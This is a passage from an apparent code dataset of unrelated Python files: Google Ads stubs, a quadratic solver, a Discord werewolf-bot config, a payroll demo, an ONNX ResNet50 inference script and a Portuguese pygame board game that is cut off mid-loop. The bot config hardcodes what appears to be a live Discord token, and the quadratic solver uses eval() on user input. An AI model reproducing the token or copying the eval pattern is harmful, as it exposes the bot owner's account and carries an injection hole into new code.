) -> None: ...\n\nclass MutateCustomerLabelResult(proto.Message):\n resource_name: str\n def __init__(\n self,\n mapping: Any | None = ...,\n *,\n ignore_unknown_fields: bool = ...,\n resource_name: str = ...\n ) -> None: ...\n\nclass MutateCustomerLabelsRequest(proto.Message):\n customer_id: str\n operations: MutableSequence[CustomerLabelOperation]\n partial_failure: bool\n validate_only: bool\n def __init__(\n self,\n mapping: Any | None = ...,\n *,\n ignore_unknown_fields: bool = ...,\n customer_id: str = ...,\n operations: MutableSequence[CustomerLabelOperation] = ...,\n partial_failure: bool = ...,\n validate_only: bool = ...\n ) -> None: ...\n\nclass MutateCustomerLabelsResponse(proto.Message):\n partial_failure_error: Status\n results: MutableSequence[MutateCustomerLabelResult]\n def __init__(\n self,\n mapping: Any | None = ...,\n *,\n ignore_unknown_fields: bool = ...,\n partial_failure_error: Status = ...,\n results: MutableSequence[MutateCustomerLabelResult] = ...\n ) -> None: ...\n","sub_path":"google-stubs/ads/googleads/v14/services/types/customer_label_service.pyi","file_name":"customer_label_service.pyi","file_ext":"pyi","file_size_in_byte":1622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"360444778","text":"# quadratic.py\n# provides real number solutions to quadradic equaltions when possible\n\nimport math # makes the math lib available\n\n\ndef main():\n print(\"This program finds real number solutions to quadradic equaltions\")\n print()\n\n a, b, c = eval(input(\"Please enter coefficients as 'a, b, c':\"))\n\n discroot = math.sqrt(b ** 2 - 4 * a * c)\n root1 = (-b + discroot) / (2 * a)\n root2 = (-b - discroot) / (2 * a)\n\n print()\n print(\"The real solutions are: \", root1, ' ,', root2)\nmain()\n","sub_path":"quadratic.py","file_name":"quadratic.py","file_ext":"py","file_size_in_byte":509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"149827483","text":"# -*- coding: utf-8 -*- server test\nOWNER_ID = '317558936817369088'\nBOT_PREFIX = ','\nTOKEN = 'NDQzOTExMTkxNDE3NDU0NTkz.DdUQFQ.d1NYT1eaJK4Sk-ApgdJSZUPT-yY'\nGAME_CHANNEL = '444199868802793473'\nDEBUG_CHANNEL = '444199847508049920'\nWEREWOLF_SERVER = '441227386126598154'\nPLAYERS_ROLE_NAME = 'masoi'\nADMINS_ROLE_NAME = 'OU'\nWEREWOLF_NOTIFY_ROLE_NAME = 'teammasoi'\nADMINS = ['317558936817369088']\nIGNORE_LIST = []\nTOKENS_GIVEN = 5\nTOKEN_RESET = 10\nIGNORE_THRESHOLD = 7\nNOTIFY_FILE = 'notify.txt'\nBACKUP_INTERVAL = 300\nMESSAGE_LANGUAGE = 'en'\nLOG_FILE = 'debug.txt'\nMIN_LOG_LEVEL = 1\n# 0 to log everything, 1 to log only gameplay-related info, 2 to log only warnings\nSTASIS_FILE = 'stasis.json'\nPLAYING_MESSAGE = '{0}info | {0}help | {0}join'.format(BOT_PREFIX)\n","sub_path":"configtess.py","file_name":"configtess.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"502886242","text":"import hr\r\nimport employees\r\nimport productivity\r\n\r\n\r\n'''\r\nThe program creates three employee objects, one for each of the derived classes.\r\nThen, it creates the payroll system and passes a list of the employees to its .calculate_payroll() method,\r\nwhich calculates the payroll for each employee and prints the results.\r\nNotice how the Employee base class doesn’t define a .calculate_payroll() method.\r\nThis means that if you were to create a plain Employee object and pass it to the PayrollSystem, then you’d get an error. \r\n'''\r\n\r\nmanager = employees.Manager(1, 'Mary Poppins', 3000)\r\nsecretary = employees.Secretary(2, 'John Smith', 1500)\r\nsales_guy = employees.SalesPerson(3, 'Kevin Bacon', 1000, 250)\r\nfactory_worker = employees.FactoryWorker(2, 'Jane Doe', 40, 15)\r\nemployees = [\r\n manager,\r\n secretary,\r\n sales_guy,\r\n factory_worker,\r\n]\r\nproductivity_system = productivity.ProductivitySystem()\r\nproductivity_system.track(employees, 40)\r\npayroll_system = hr.PayrollSystem()\r\npayroll_system.calculate_payroll(employees)\r\n\r\n'''\r\nCalculating Payroll\r\n===================\r\nPayroll for: 1 - John Smith\r\n- Check amount: 1500\r\n\r\nPayroll for: 2 - Jane Doe\r\n- Check amount: 600\r\n\r\nPayroll for: 3 - Kevin Bacon\r\n- Check amount: 1250\r\n'''\r\n","sub_path":"HR class system/exec.py","file_name":"exec.py","file_ext":"py","file_size_in_byte":1251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"201988763","text":"import numpy as np\nimport onnxruntime as rt\nimport random\nfrom PIL import Image\n#from matplotlib import pyplot as plt\nimport glog as log\nimport gflags\n\nimport sys, os\nsys.path.insert(1, os.path.join(sys.path[0], \"trt\"))\nimport common\n\nINPUT_SHAPE = (1, 3, 224, 224)\n#INPUT_SHAPE = (64, 3, 7, 7)\n\n\nlog.setLevel(\"DEBUG\")\nFLAGS = gflags.FLAGS\n\ndef load_normalized_test_case(test_image): #, pagelocked_buffer):\n # Converts the input image to a CHW Numpy array\n def normalize_image(image):\n # Resize, antialias and transpose the image to CHW.\n n, c, h, w = INPUT_SHAPE\n# image_arr = np.asarray(image.resize((w, h), Image.ANTIALIAS)).reshape(INPUT_SHAPE).astype(np.float32)#.ravel()\n image_arr = np.asarray(image.resize((w, h), Image.ANTIALIAS)).transpose([2, 0, 1]).reshape((INPUT_SHAPE)) #.astype(np.float32)#.ravel()\n\n# img = Image.fromarray(image_arr, 'RGB')\n# # img = Image.fromarray(image_arr[0,:,:,:], 'RGB')\n# #img.save('my.png')\n# img.show()\n\n # plt.title(\"Matplotlib demo\")\n # plt.xlabel(\"x axis caption\")\n # plt.ylabel(\"y axis caption\")\n # plt.plot(image_arr[0,0,:,:], image_arr[0,1,:,:])\n # plt.show()\n\n\n\n # transpose([2, 0, 1]).astype(np.float32)#.ravel()\n # This particular ResNet50 model requires some preprocessing, specifically, mean normalization.\n return (image_arr.astype(np.float32) / 255.0 - 0.45) / 0.225\n # Normalize the image and copy to pagelocked memory.\n #np.copyto(pagelocked_buffer, normalize_image(Image.open(test_image)))\n return normalize_image(Image.open(test_image)) #test_image\n\n\nfrom sklearn.datasets import load_iris\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LogisticRegression\nfrom skl2onnx import convert_sklearn\nfrom skl2onnx.common.data_types import FloatTensorType\n\n\n# iris = load_iris()\n# X, y = iris.data, iris.target\n# X_train, X_test, y_train, y_test = train_test_split(X, y)\n#\n# clr = LogisticRegression()\n# clr.fit(X_train, y_train)\n# print(clr)\n#\n# initial_type = [('float_input', FloatTensorType([1, 4]))]\n# onx = convert_sklearn(clr, initial_types=initial_type)\n# with open(\"logreg_iris.onnx\", \"wb\") as f:\n# f.write(onx.SerializeToString())\n#sess = rt.InferenceSession(\"logreg_iris.onnx\")\n\n\n#dummy_input = np.random.rand(10, 3, 224, 224).astype(np.float32)\n\ndata_path, data_files = common.find_sample_data(\n description=\"Runs a ResNet50 network with a TensorRT inference engine.\",\n subfolder=\".\", find_files=[\"binoculars.jpeg\", \"reflex_camera.jpeg\", \"tabby_tiger_cat.jpg\",\n# \"/home/snikolaev/.onnx/models/resnet50/model.onnx\",\n# \"/home/snikolaev/onnxruntime/rn50/trt/ResNet50.onnx\",\n \"/home/snikolaev/pytorch2/joc/rn50/resnet50.onnx\",\n \"class_labels.txt\"])\n# Get test images, models and labels.\ntest_images = data_files[0:3]\nonnx_model_file, labels_file = data_files[3:]\nlabels = open(labels_file, 'r').read().split('\\n')\n\ntest_image = random.choice(test_images)\ntest_case = load_normalized_test_case(test_image)\n\n\n\nsess_options = rt.SessionOptions()\n\n#sess_options.enable_profiling = True\n#sess_options.profile_file_prefix = os.path.basename(\".\")\n\n#3sess = onnxrt.InferenceSession(args.model_path, sess_options)\n\nsess = rt.InferenceSession(onnx_model_file, sess_options)\n\nmeta = sess.get_modelmeta()\n\nro = rt.RunOptions()\nro.run_log_verbosity_level = 3\n# ro.run_tag = \"testtag123\"\n\n\n#pars = 320\n# dummy_input = Variable(torch.randn(10, 3, 224, 224)) #.cuda()\n#dummy_input = torch.randn(10, 3, 224, 224, requires_grad=True).cuda()\n# center_crop = 224\n# rs_crop = 224\n\n# input_names = [ \"actual_input_1\" ] + [ \"learned_%d\" % i for i in range(pars) ]\n# output_names = [ \"output1\" ]\n\n\n\n\ninput_name = sess.get_inputs()[0].name\nlabel_name = sess.get_outputs()[0].name\npred_onx = sess.run([label_name], {input_name: test_case}, ro)\n#print(pred_onx)\n# We use the highest probability as our prediction. Its index corresponds to the predicted label.\nam = np.argmax(pred_onx)\npred = labels[am]\nppred=pred_onx[0][0]\nprint(ppred[am])\nif \"_\".join(pred.split()) in os.path.splitext(os.path.basename(test_image))[0]:\n print(\"Correctly recognized \" + test_image + \" as \" + pred)\nelse:\n print(\"Incorrectly recognized \" + test_image + \" as \" + pred)\n","sub_path":"rn50/rn50infer.py","file_name":"rn50infer.py","file_ext":"py","file_size_in_byte":4374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"483849084","text":"# Create .csv of sample coverages, given .out created by avg_readdepth.py\n\nfrom __future__ import print_function\nimport glob\nimport re\n\nfout = open('./coverages.csv','w')\nfout.write('SampleID,10x,15x,20x,40x,50x\\n')\nfor file in glob.glob('*.out'):\n\tfin = open(file)\n\tlines = fin.readlines()\n\tcov = re.search('(\\d+.\\d+)%\\t(\\d+.\\d+)%\\t(\\d+.\\d+)%\\t(\\d+.\\d+)%\\t(\\d+.\\d+)',lines[118])\n\tfout.write('{0}_AAA,{1},{2},{3},{4},{5}\\n'.format(file[0:4],\n\t\t cov.group(1),cov.group(2),cov.group(3),cov.group(4),\n\t\t cov.group(5)))\n","sub_path":"makecov_csv.py","file_name":"makecov_csv.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"174598152","text":"import pygame, math, random, time\n\nfrom pygame import mixer\n\npygame.init()\npygame.font.init()\n\n\n#Configurações da janela\njanela = pygame.display.set_mode((600,600))\nnome = pygame.display.set_caption(('City Driving Guide'))\nicone = pygame.image.load('../img/img_jog_car/carro-am.png')\npygame.display.set_icon(icone)\n\n#Imagens de fundo\nfundo_menu = pygame.image.load('../img/pistas/fundo-intro.png')\nfundo_infantil = pygame.image.load('../img/pistas/fundo.jpg')\nfundo_adulto = pygame.image.load('../img/pistas/pista_dois.jpg')\nfundo_intro = pygame.image.load('../img/img_jog_car/fundo_estradinha.png')\n\n#Imagens complementares\nmutar = pygame.image.load('../img/img_jog_car/mutar.png')\nmutar_mouse = pygame.image.load('../img/img_jog_car/mutar_branco.png')\n\n#Fontes\nfonte_tit = pygame.font.Font('../font/PressStart2P-vaV7.ttf', 26)\nfonte_botao = pygame.font.Font('../font/PressStart2P-vaV7.ttf', 12)\n\n#Introdução do jogo\nbuzina = mixer.Sound('../audio/buzina_intro.wav')\nmusica_infantil = mixer.music.load('../audio/signal_8bit.wav')\nmusica_adulto = mixer.music.load('../audio/whatislove_8bit.wav')\ntitulo_intro_x = 70\ntitulo_intro_y = 300\ncarro_intro = pygame.image.load('../img/img_jog_car/carro_intro.png')\ncarro_intro_x = 0\ncarro_intro_y = 460\nmenu_titulo = fonte_tit.render('CITY DRIVING GUIDE', True, (255, 255, 255))\n\n\nescolha = ''\n\njogadores = ['Amarelo', 'Azul']\n\n#Coordenadas da carteira\ncarteira_x = [30, 440]\ncarteira_y = [490, 30]\n\n#Jogador amarelo\ncarro_img_am = pygame.image.load('../img/img_jog_car/carro-am.png')\ncoord_x_am = [90, 120, 110, 60, 50, 110, 170, 190, 220, 280, 330, 390, 450, 510, 510, 510,510, 500, 450, 390, 350, 370, 410, 350, 280, 240, 190, 120, 55, 60, 90]\ncoord_y_am = [280, 220, 160, 110, 50, 30, 60, 130, 190, 210, 160, 120, 125, 180, 250, 320, 390, 450, 500, 490, 430, 370, 310, 290, 330, 380, 420, 440, 410, 340, 280]\npontos_am = 0\ncart_amarela = pygame.image.load('../img/img_jog_car/cart-amarela.png')\n\n#Jogador azul\ncarro_img_az = pygame.image.load('../img/img_jog_car/carro-az.png')\ncoord_x_az = [90, 120, 110, 60, 50, 110, 170, 190, 220, 280, 330, 390, 450, 510, 510, 510,510, 500, 450, 390, 350, 370, 410, 350, 280, 240, 190, 120, 55, 60, 90]\ncoord_y_az = [280, 220, 160, 110, 50, 30, 60, 130, 190, 210, 160, 120, 125, 180, 250, 320, 390, 450, 500, 490, 430, 370, 310, 290, 330, 380, 420, 440, 410, 340, 280]\npontos_az = 0\ncart_azul = pygame.image.load('../img/img_jog_car/cart-azul.png')\n\n#Caixas de testo\nmens_box = pygame.image.load('../img/img_jog_car/mens_box.png')\nmens_box_sorteio = pygame.image.load('../img/img_jog_car/guarda_mens.png')\nmens_box_buraco = pygame.image.load('../img/img_jog_car/mens_box_buraco.png')\nguarda_regras = pygame.image.load('../img/img_jog_car/guarda_regras.png')\n\n#Coordenadas da caixa de texto\nmens_box_x = 150\nmens_box_y = 170\n\n#Ponteiro das casas guiadas a dado\nponteiro_am = 0\nponteiro_az = 0\n\n#Etapas do programa\n\ncreditos = False\nintro = True\nmenu = False\nescolha_modo = False\nmodo_infantil = False\nmodo_adulto = False\nconf_audio = False\nconf_tam = False\nregra1 = False\nregra2 = False\nregra3 = False\nregra4 = False\nregra5 = False\nregra6 = False\nsorteio = False\njogo_infantil = False\njogo_adulto = False\n\n#Configuração das casas\nmens_pos = ['Pergunta', 'Pergunta', 'Buraco!', 'Ponte', 'Pergunta', 'Pergunta', 'Pergunta', 'Buraco!', 'Pergunta', 'Pergunta', 'Buraco!', 'Pergunta', 'Pergunta', 'Pergunta', 'Buraco!', 'Pergunta', 'Ponte', 'Buraco!', 'Buraco!', 'Pergunta', 'Ponte', 'Pergunta', 'Ponte', 'Pergunta', 'Pergunta', 'Pergunta', 'Pergunta', 'Pergunta', 'Pergunta', 'Buraco!']\nresp_pos = ['Resposta', 'Resposta', 'Buraco!', 'Resposta', 'Resposta', 'Resposta', 'Resposta', 'Buraco!', 'Resposta', 'Resposta', 'Buraco!', 'Resposta', 'Resposta', 'Resposta', 'Buraco!', 'Resposta', 'Resposta', 'Buraco','Buraco', 'Resposta','Resposta', 'Resposta', 'Resposta', 'Resposta', 'Resposta', 'Resposta', 'Resposta', 'Resposta', 'Resposta', 'Buraco!']\n\n#Dado\ndado_am = ['../img/dados/dado-am-1.png', '../img/dados/dado-am-2.png', '../img/dados/dado-am-3.png', '../img/dados/dado-am-4.png', '../img/dados/dado-am-5.png', '../img/dados/dado-am-6.png']\ndado_az = ['../img/dados/dado-az-1.png', '../img/dados/dado-az-2.png', '../img/dados/dado-az-3.png', '../img/dados/dado-az-4.png', '../img/dados/dado-az-5.png', '../img/dados/dado-az-6.png']\ndado_x = 255\ndado_y = 25\n\n#Número de casas percorridas\ncasas = ['uma', 'duas', 'três', 'quatro', 'cinco', 'seis']\n\n\n\ndef dado_regra():\n dado_regra = pygame.image.load(dado_am[0])\n janela.blit(dado_regra,(dado_x, dado_y))\n\n\n#Opções do menu\ndef menu_opc():\n mouse = pygame.mouse.get_pos()\n mouse = pygame.mouse.get_pos()\n opc_jog = pygame.draw.rect(janela, (255, 255, 255), (60, 150, 200, 50))\n menu_botao1 = fonte_botao.render('COMEÇAR JOGO', True, (0, 0, 0))\n janela.blit(menu_botao1, (90, 170))\n opc_aud = pygame.draw.rect(janela, (255, 255, 255), (60, 250, 200, 50))\n menu_botao2 = fonte_botao.render('ÁUDIO', True, (0, 0, 0))\n janela.blit(menu_botao2, (130, 270))\n opc_tam = pygame.draw.rect(janela, (255, 255, 255), (60, 350, 200, 50))\n menu_botao3 = fonte_botao.render('TELA', True, (0, 0, 0))\n janela.blit(menu_botao3, (140, 370))\n opc_sair = pygame.draw.rect(janela, (255, 255, 255), (60, 450, 200, 50))\n menu_botao4 = fonte_botao.render('SAIR DO JOGO', True, (0, 0, 0))\n janela.blit(menu_botao4, (90, 470))\n if 260 > mouse[0] > 60 and 200 > mouse[1] > 150:\n opc_jog = pygame.draw.rect(janela, (0, 0, 0), (60, 150, 200, 50))\n menu_botao1 = fonte_botao.render('COMEÇAR JOGO', True, (255, 255, 255))\n janela.blit(menu_botao1, (90, 170))\n if 260 > mouse[0] > 60 and 300 > mouse[1] > 250:\n opc_aud = pygame.draw.rect(janela, (0, 0, 0), (60, 250, 200, 50))\n menu_botao2 = fonte_botao.render('ÁUDIO', True, (255, 255, 255))\n janela.blit(menu_botao2, (130, 270))\n if 260 > mouse[0] > 60 and 400 > mouse[1] > 350:\n opc_tam = pygame.draw.rect(janela, (0, 0, 0), (60, 350, 200, 50))\n menu_botao3 = fonte_botao.render('TELA', True, (255, 255, 255))\n janela.blit(menu_botao3, (140, 370))\n if 260 > mouse[0] > 60 and 500 > mouse[1] > 450:\n opc_sair = pygame.draw.rect(janela, (0, 0, 0), (60, 450, 200, 50))\n menu_botao4 = fonte_botao.render('SAIR DO JOGO', True, (255, 255, 255))\n janela.blit(menu_botao4, (90, 470))\n\n#Escolha dos modos\ndef escolha_txt():\n escolha_txt = fonte_botao.render('ESCOLHA UM DOS MODOS', True, (255, 255, 255))\n janela.blit(escolha_txt, (190, 150))\n\n#Texto da introdução\ndef intro_txt():\n janela.blit(menu_titulo, (titulo_intro_x, titulo_intro_y))\n\n#Modos do jogo\ndef modos_jogo():\n mouse = pygame.mouse.get_pos()\n jog_modo_inf = pygame.draw.rect(janela, (255, 255, 255), (90, 300, 200, 50))\n opc_inf = fonte_botao.render('INFANTIL', True, (0, 0, 0))\n janela.blit(opc_inf, (145, 320))\n jog_modo_ad = pygame.draw.rect(janela, (255, 255, 255), (320, 300, 200, 50))\n opc_ad = fonte_botao.render('ADULTO', True, (0, 0, 0))\n janela.blit(opc_ad, (390, 320))\n if 290 > mouse [0] > 90 and 350 > mouse [1] > 300:\n jog_modo_inf = pygame.draw.rect(janela, (0, 0, 0), (90, 300, 200, 50))\n opc_inf = fonte_botao.render('INFANTIL', True, (255, 255, 255))\n janela.blit(opc_inf, (145, 320))\n elif 520 > mouse [0] > 320 and 350 > mouse[1] > 300:\n jog_modo_ad = pygame.draw.rect(janela, (0, 0, 0), (320, 300, 200, 50))\n opc_ad = fonte_botao.render('ADULTO', True, (255, 255, 255))\n janela.blit(opc_ad, (390, 320))\n\n#Regras do modo infantil\ndef regra_infantil_1():\n janela.blit(guarda_regras, (0, 0))\n regra_linha1 = (fonte_botao.render('Um dado determina o número de casas', True, (0, 0, 0)))\n regra_linha2 = (fonte_botao.render('que o jogador deve percorrer a', True, (0, 0, 0)))\n regra_linha3 = (fonte_botao.render('cada jogada.', True, (0, 0, 0)))\n espaco = fonte_botao.render('Aperte espaço para continuar', True, (0,0,0))\n janela.blit(regra_linha1, (50, 400))\n janela.blit(regra_linha2, (50, 425))\n janela.blit(regra_linha3, (50, 450))\n janela.blit(espaco, (80, 490))\n\ndef regra_infantil_2():\n janela.blit(guarda_regras, (0, 0))\n regra_linha1 = (fonte_botao.render('Limite de 40 pontos na habilitação.', True, (0, 0, 0)))\n regra_linha2 = (fonte_botao.render('O jogador que chegar a essa', True, (0, 0, 0)))\n regra_linha3 = (fonte_botao.render('quantidade automaticamente perde.', True, (0, 0, 0)))\n espaco = fonte_botao.render('Aperte espaço para continuar', True, (0,0,0))\n janela.blit(regra_linha1, (50, 400))\n janela.blit(regra_linha2, (50, 425))\n janela.blit(regra_linha3, (50, 450))\n janela.blit(espaco, (80, 490))\n\ndef regra_infantil_3():\n janela.blit(guarda_regras, (0, 0))\n regra_linha1 = (fonte_botao.render('Ganha o jogador que percorrer todo', True, (0, 0, 0)))\n regra_linha2 = (fonte_botao.render('o tabuleiro e garantir a menor', True, (0, 0, 0)))\n regra_linha3 = (fonte_botao.render('pontuação de infrações.', True, (0, 0, 0)))\n regra_linha4 = (fonte_botao.render('Ou seja, acertar mais perguntas.', True, (0, 0, 0)))\n espaco = fonte_botao.render('Aperte espaço para continuar', True, (0, 0, 0))\n janela.blit(regra_linha1, (50, 395))\n janela.blit(regra_linha2, (50, 420))\n janela.blit(regra_linha3, (50, 445))\n janela.blit(regra_linha4, (50, 470))\n janela.blit(espaco, (80, 500))\n\ndef regra_infantil_4():\n janela.blit(guarda_regras, (0, 0))\n regra_linha1 = (fonte_botao.render('As pontes permitem que o jogador', True, (0, 0, 0)))\n regra_linha2 = (fonte_botao.render('avance no tabuleiro', True, (0, 0, 0)))\n regra_linha3 = (fonte_botao.render('cortando caminho. Ou seja,', True, (0, 0, 0)))\n regra_linha4 = (fonte_botao.render('acertar mais perguntas.', True, (0, 0, 0)))\n espaco = fonte_botao.render('Aperte espaço para continuar', True, (0, 0, 0))\n janela.blit(regra_linha1, (50, 400))\n janela.blit(regra_linha2, (50, 425))\n janela.blit(regra_linha3, (50, 450))\n janela.blit(regra_linha4, (50, 475))\n janela.blit(espaco, (80, 500))\n\ndef regra_infantil_5():\n janela.blit(guarda_regras, (0, 0))\n regra_linha1 = (fonte_botao.render('O jogador que cair no buraco na', True, (0, 0, 0)))\n regra_linha2 = (fonte_botao.render('estrada deverá ficar uma', True, (0, 0, 0)))\n regra_linha3 = (fonte_botao.render('rodada sem jogar.', True, (0, 0, 0)))\n espaco = fonte_botao.render('Aperte espaço para continuar', True, (0, 0, 0))\n janela.blit(regra_linha1, (50, 400))\n janela.blit(regra_linha2, (50, 425))\n janela.blit(regra_linha3, (50, 450))\n janela.blit(espaco, (80, 500))\n\ndef regra_infantil_6():\n janela.blit(guarda_regras, (0, 0))\n regra_linha1 = (fonte_botao.render('O tabuleiro conta com uma série de', True, (0, 0, 0)))\n regra_linha2 = (fonte_botao.render('perguntas sobre regras de', True, (0, 0, 0)))\n regra_linha3 = (fonte_botao.render('trânsito, divididas em 4 níveis', True, (0, 0, 0)))\n regra_linha4 = (fonte_botao.render('e infrações, marcadas pelas', True, (0, 0, 0)))\n regra_linha5 = (fonte_botao.render('cores das placas.', True, (0, 0, 0)))\n espaco = fonte_botao.render('Aperte espaço para continuar', True, (0, 0, 0))\n janela.blit(regra_linha1, (50, 390))\n janela.blit(regra_linha2, (50, 415))\n janela.blit(regra_linha3, (50, 440))\n janela.blit(regra_linha4, (50, 465))\n janela.blit(regra_linha5, (50, 490))\n janela.blit(espaco, (80, 500))\n\n#Regras do modo adulto\ndef regra_adulto_1():\n janela.blit(mens_box, (150, 150))\n regra_linha1 = (fonte_botao.render('Um dado determina', True, (0, 0, 0)))\n regra_linha2 = (fonte_botao.render('o número de casas', True, (0, 0, 0)))\n regra_linha3 = (fonte_botao.render('que o jogador', True, (0, 0, 0)))\n regra_linha4 = (fonte_botao.render('deve percorrer a', True, (0, 0, 0)))\n regra_linha5 = (fonte_botao.render('cada jogada.', True, (0, 0, 0)))\n espaco = fonte_botao.render('Aperte espaço', True, (0, 0, 0))\n espaco_2 = fonte_botao.render('para continuar', True, (0, 0, 0))\n janela.blit(regra_linha1, (205, 215))\n janela.blit(regra_linha2, (205, 240))\n janela.blit(regra_linha3, (235, 265))\n janela.blit(regra_linha4, (210, 290))\n janela.blit(regra_linha5, (240, 315))\n janela.blit(espaco, (235, 350))\n janela.blit(espaco_2, (230, 375))\n\ndef regra_adulto_2():\n janela.blit(mens_box, (150, 150))\n regra_linha1 = (fonte_botao.render('Limite de 40 pontos', True, (0, 0, 0)))\n regra_linha2 = (fonte_botao.render('na habilitação. O jo-', True, (0, 0, 0)))\n regra_linha3 = (fonte_botao.render('gador que chegar a', True, (0, 0, 0)))\n regra_linha4 = (fonte_botao.render('essa quantidade perde', True, (0, 0, 0)))\n regra_linha5 = (fonte_botao.render('automaticamente.', True, (0, 0, 0)))\n espaco = fonte_botao.render('Aperte espaço', True, (0, 0, 0))\n espaco_2 = fonte_botao.render('para continuar', True, (0, 0, 0))\n janela.blit(regra_linha1, (200, 215))\n janela.blit(regra_linha2, (190, 240))\n janela.blit(regra_linha3, (200, 265))\n janela.blit(regra_linha4, (185, 290))\n janela.blit(regra_linha5, (225, 315))\n janela.blit(espaco, (235, 350))\n janela.blit(espaco_2, (230, 375))\n\ndef regra_adulto_3():\n janela.blit(mens_box, (150, 150))\n regra_linha1 = (fonte_botao.render('Ganha o jogador que', True, (0, 0, 0)))\n regra_linha2 = (fonte_botao.render('percorrer todo o ta-', True, (0, 0, 0)))\n regra_linha3 = (fonte_botao.render('buleiro e garantir a', True, (0, 0, 0)))\n regra_linha4 = (fonte_botao.render('menor pontuação de in-', True, (0, 0, 0)))\n regra_linha5 = (fonte_botao.render('frações. Ou seja, a-', True, (0, 0, 0)))\n regra_linha6 = (fonte_botao.render('certar mais perguntas.', True, (0, 0, 0)))\n espaco = fonte_botao.render('Aperte espaço', True, (0, 0, 0))\n espaco_2 = fonte_botao.render('para continuar', True, (0, 0, 0))\n janela.blit(regra_linha1, (200, 200))\n janela.blit(regra_linha2, (190, 225))\n janela.blit(regra_linha3, (200, 250))\n janela.blit(regra_linha4, (185, 275))\n janela.blit(regra_linha5, (195, 300))\n janela.blit(regra_linha6, (185, 325))\n janela.blit(espaco, (235, 350))\n janela.blit(espaco_2, (230, 375))\n\ndef regra_adulto_4():\n janela.blit(mens_box, (150, 150))\n regra_linha1 = (fonte_botao.render('As pontes permitem', True, (0, 0, 0)))\n regra_linha2 = (fonte_botao.render('que o jogador', True, (0, 0, 0)))\n regra_linha3 = (fonte_botao.render('avance no tabuleiro', True, (0, 0, 0)))\n regra_linha4 = (fonte_botao.render('cortando caminho.', True, (0, 0, 0)))\n espaco = fonte_botao.render('Aperte espaço', True, (0, 0, 0))\n espaco_2 = fonte_botao.render('para continuar', True, (0, 0, 0))\n janela.blit(regra_linha1, (200, 225))\n janela.blit(regra_linha2, (230, 250))\n janela.blit(regra_linha3, (200, 275))\n janela.blit(regra_linha4, (210, 300))\n janela.blit(espaco, (235, 350))\n janela.blit(espaco_2, (230, 375))\n\ndef regra_adulto_5():\n janela.blit(mens_box, (150, 150))\n regra_linha1 = (fonte_botao.render('O jogador que cair', True, (0, 0, 0)))\n regra_linha2 = (fonte_botao.render('no buraco na estra-', True, (0, 0, 0)))\n regra_linha3 = (fonte_botao.render('da deverá ficar uma', True, (0, 0, 0)))\n regra_linha4 = (fonte_botao.render('rodada sem jogar.', True, (0, 0, 0)))\n espaco = fonte_botao.render('Aperte espaço', True, (0, 0, 0))\n espaco_2 = fonte_botao.render('para continuar', True, (0, 0, 0))\n janela.blit(regra_linha1, (200, 225))\n janela.blit(regra_linha2, (200, 250))\n janela.blit(regra_linha3, (195, 275))\n janela.blit(regra_linha4, (205, 300))\n janela.blit(espaco, (235, 350))\n janela.blit(espaco_2, (230, 375))\n\ndef regra_adulto_6():\n janela.blit(mens_box, (150, 150))\n regra_linha1 = (fonte_botao.render('O tabuleiro conta', True, (0, 0, 0)))\n regra_linha2 = (fonte_botao.render('com uma série de per-', True, (0, 0, 0)))\n regra_linha3 = (fonte_botao.render('guntas sobre regras de', True, (0, 0, 0)))\n regra_linha4 = (fonte_botao.render('trânsito, divididas', True, (0, 0, 0)))\n regra_linha5 = (fonte_botao.render('em 4 níveis marcados', True, (0, 0, 0)))\n regra_linha6 = (fonte_botao.render('pelas cores das placas', True, (0, 0, 0)))\n espaco = fonte_botao.render('Aperte espaço', True, (0, 0, 0))\n espaco_2 = fonte_botao.render('para continuar', True, (0, 0, 0))\n janela.blit(regra_linha1, (200, 200))\n janela.blit(regra_linha2, (190, 225))\n janela.blit(regra_linha3, (190, 250))\n janela.blit(regra_linha4, (185, 275))\n janela.blit(regra_linha5, (195, 300))\n janela.blit(regra_linha6, (185, 325))\n janela.blit(espaco, (235, 350))\n janela.blit(espaco_2, (230, 375))\n\n#Título do menu\ndef menu_txt():\n janela.blit(menu_titulo, (70,70))\n\n#Placas\ndef placas():\n placaazul = pygame.image.load('../img/img_jog_car/placaazul.png')\n placaverde = pygame.image.load('../img/img_jog_car/placaverde.png')\n placaamarela = pygame.image.load('../img/img_jog_car/placaamarela.png')\n placavermelha = pygame.image.load('../img/img_jog_car/placavermelha.png')\n janela.blit(placaazul, (100,100))\n janela.blit(placaverde, (250, 100))\n janela.blit(placaamarela, (100, 200))\n janela.blit(placavermelha, (250, 200))\n\n#Imagens dos jogadores\ndef carro_jog_az():\n janela.blit(carro_img_az, (coord_x_az[ponteiro_az], coord_y_az[ponteiro_az]))\n\ndef carro_jog_am():\n janela.blit(carro_img_am, (coord_x_am[ponteiro_am], coord_y_am[ponteiro_am]))\n\n#Imagens do sistema de pontos\ndef carteira_amarela():\n janela.blit(cart_amarela, (carteira_x[0],carteira_y[0]))\n\ndef carteira_azul():\n janela.blit(cart_azul, (carteira_x[1], carteira_y[1]))\n\ndef carteira_cinza():\n janela.blit(cart_pb, (carteira_x[x],carteira_y[y]))\n\n#Imagens do sorteio\ndef mens_txt_sort_inf():\n janela.blit(mens_box_sorteio,(0,0))\n\ndef mens_txt_sort_ad():\n janela.blit(fundo_adulto,(0,0))\n janela.blit(mens_box,(150,150))\n\n#Imagem buraco\ndef mens_txt_buraco():\n janela.blit(mens_box_buraco, (mens_box_x, mens_box_y))\n\n\npygame.display.flip()\n\nwhile True:\n\n escolha = random.choice(jogadores)\n\n while intro:\n buzina.play()\n janela.blit(fundo_intro, (0, 0))\n intro_txt()\n titulo_intro_y -= 2\n janela.blit(carro_intro, (carro_intro_x,carro_intro_y))\n carro_intro_x += 5\n if titulo_intro_y == 70:\n intro = False\n menu = True\n\n pygame.display.flip()\n\n while menu:\n janela.blit(fundo_menu, (0, 0))\n menu_txt()\n menu_opc()\n\n for event in 